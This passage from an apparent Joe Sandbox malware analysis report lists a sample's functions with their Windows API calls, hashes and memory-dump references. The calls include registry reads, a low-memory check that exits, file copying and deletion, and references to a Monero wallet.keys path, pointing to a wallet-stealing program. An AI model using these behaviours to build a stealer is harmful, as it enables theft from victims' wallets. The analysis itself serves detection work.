CloseHandle.KERNEL32(?,00000000,?,013F8930,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 299f5a64ae457bbbd5e4e5de96f813cf4445bf982773f8a185f9c4a1304d420e
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: 299f5a64ae457bbbd5e4e5de96f813cf4445bf982773f8a185f9c4a1304d420e
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
LocalFree.KERNEL32(0040148F), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,013FDFF0,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,013FF430,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcat.KERNEL32(?,00000000), ref: 00414147
lstrcat.KERNEL32(?,013FF508), ref: 0041415B

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: aab846b0c5b0a81cb6528a04acd85823c3c39942daeba74662abf477f11d4be0
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: aab846b0c5b0a81cb6528a04acd85823c3c39942daeba74662abf477f11d4be0
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
RtlAllocateHeap.NTDLL(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,013EBA78,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,013FE0D0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004012B4
RtlAllocateHeap.NTDLL(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(013F8A10,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0040A0BD
LoadLibraryA.KERNEL32(013E5170), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(013F8A10,00000000,00000000,?,004212D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 6027c5fd171335b18c1cc3c543ab76e1658be5b37c2198500408d77f0a97119a
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 6027c5fd171335b18c1cc3c543ab76e1658be5b37c2198500408d77f0a97119a
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,013FE9B8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlen.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
